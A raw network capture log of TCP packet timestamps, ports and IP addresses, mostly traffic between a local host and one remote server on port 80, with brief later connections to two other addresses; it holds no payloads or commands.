Sep 25, 2024 03:51:33.381465912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381484032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381494999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381495953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381509066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381520987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381534100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381562948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381797075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381808996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381819010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381829977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381839037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381843090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381855965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381867886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381867886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381882906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381896019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381899118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381908894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381917953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381922960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381934881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381947041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381957054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381957054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381985903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382155895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382358074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382371902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382389069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382399082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382400990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382412910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382422924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382425070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382437944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382441044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382450104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382462025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382464886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382472992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382483959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382491112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382498026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382510900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382510900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382524014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382535934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382544041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382548094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382559061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382570028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382570028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382584095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382586002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382603884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382608891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382616043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382628918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.382653952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.382675886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.383212090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383224010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383234978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383245945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383258104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383260012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.383270025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383282900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383282900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.383294106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383308887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383320093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383321047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.383332014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383343935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383343935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.383358002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383361101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.383369923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.383393049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.383409977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.384340048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.384354115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.384421110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.384501934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.384599924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.384752035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.384798050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.384927988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.384942055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.384949923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.384974003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.384989977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.386049986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.386061907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.386082888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.386094093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.386105061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.386116028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.386126995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.386131048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.386140108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.386159897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.386178970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.470570087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470592022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470602989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470649004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.470671892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470685005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470696926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470715046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.470743895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.470766068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470777988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470834970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.470837116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470873117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470882893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470921993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.470922947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470937967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.470964909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471061945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471072912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471085072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471096039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471110106 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471133947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471138000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471159935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471173048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471173048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471215010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471247911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471260071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471270084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471282959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471299887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471333027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471364975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471376896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471414089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471470118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471482038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471493959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471506119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471517086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471519947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471533060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471555948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471595049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471667051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471678972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471714020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471725941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471736908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471750021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471776962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471875906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471889019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471899033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471913099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471924067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471926928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471940994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.471951008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.471966028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472054958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472100973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472208023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472218990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472229958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472242117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472253084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472254038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472266912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472270012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472279072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472291946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472302914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472313881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472326994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472326994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472345114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472379923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472507954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472522020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472559929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472733021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472745895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472754955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472769022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472781897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472783089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472794056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472794056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472807884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472817898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472822905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472831964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472845078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472847939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472856998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472868919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472882032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472884893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472894907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472909927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472918987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472923040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.472930908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.472942114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473203897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473217010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473232985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473244905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473249912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473304033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473412991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473424911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473436117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473445892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473458052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473459005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473470926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473486900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473488092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473500967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473511934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473512888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473536015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473539114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473550081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473552942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473562002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473572016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473583937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473588943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473596096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473607063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473611116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473625898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473634005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473638058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473651886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473663092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473669052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473681927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473695040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473696947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473716021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473727942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.473731041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.473752022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474375963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474389076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474399090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474411011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474421978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474426031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474435091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474447966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474453926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474459887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474473000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474478960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474486113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474498034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474503994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474512100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474518061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474525928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474535942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474539042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474553108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474560976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474565983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474580050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474590063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.474595070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.474622011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.475310087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.475353956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.475363016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.475368023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.475413084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.475447893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.475460052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.475475073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.475502968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.475579023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.475590944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.475639105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.561716080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.561731100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.561742067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.561791897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.561804056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.561815977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.561829090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.561865091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.561894894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.561909914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.561944962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.563487053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.563539028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.563549995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.563606977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.563616991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.563630104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.563631058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.563666105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.563667059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.563679934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.563710928 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.563749075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.563890934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.568583012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:52:22.248692036 CEST	49738	10128	192.168.2.4	149.102.143.109
Sep 25, 2024 03:52:22.253536940 CEST	10128	49738	149.102.143.109	192.168.2.4
Sep 25, 2024 03:52:22.253664970 CEST	49738	10128	192.168.2.4	149.102.143.109
Sep 25, 2024 03:52:22.253778934 CEST	49738	10128	192.168.2.4	149.102.143.109
Sep 25, 2024 03:52:22.260067940 CEST	10128	49738	149.102.143.109	192.168.2.4
Sep 25, 2024 03:52:22.789381981 CEST	49739	80	192.168.2.4	194.59.31.63
Sep 25, 2024 03:52:22.794342995 CEST	80	49739	194.59.31.63	192.168.2.4
Sep 25, 2024 03:52:22.794424057 CEST	49739	80	192.168.2.4	194.59.31.63
Sep 25, 2024 03:52:22.795171976 CEST	49739	80	192.168.2.4	194.59.31.63
Sep 25, 2024 03:52:22.799958944 CEST	80	49739	194.59.31.63	192.168.2.4
Sep 25, 2024 03:52:22.801362991 CEST	49739	80	192.168.2.4	194.59.31.63
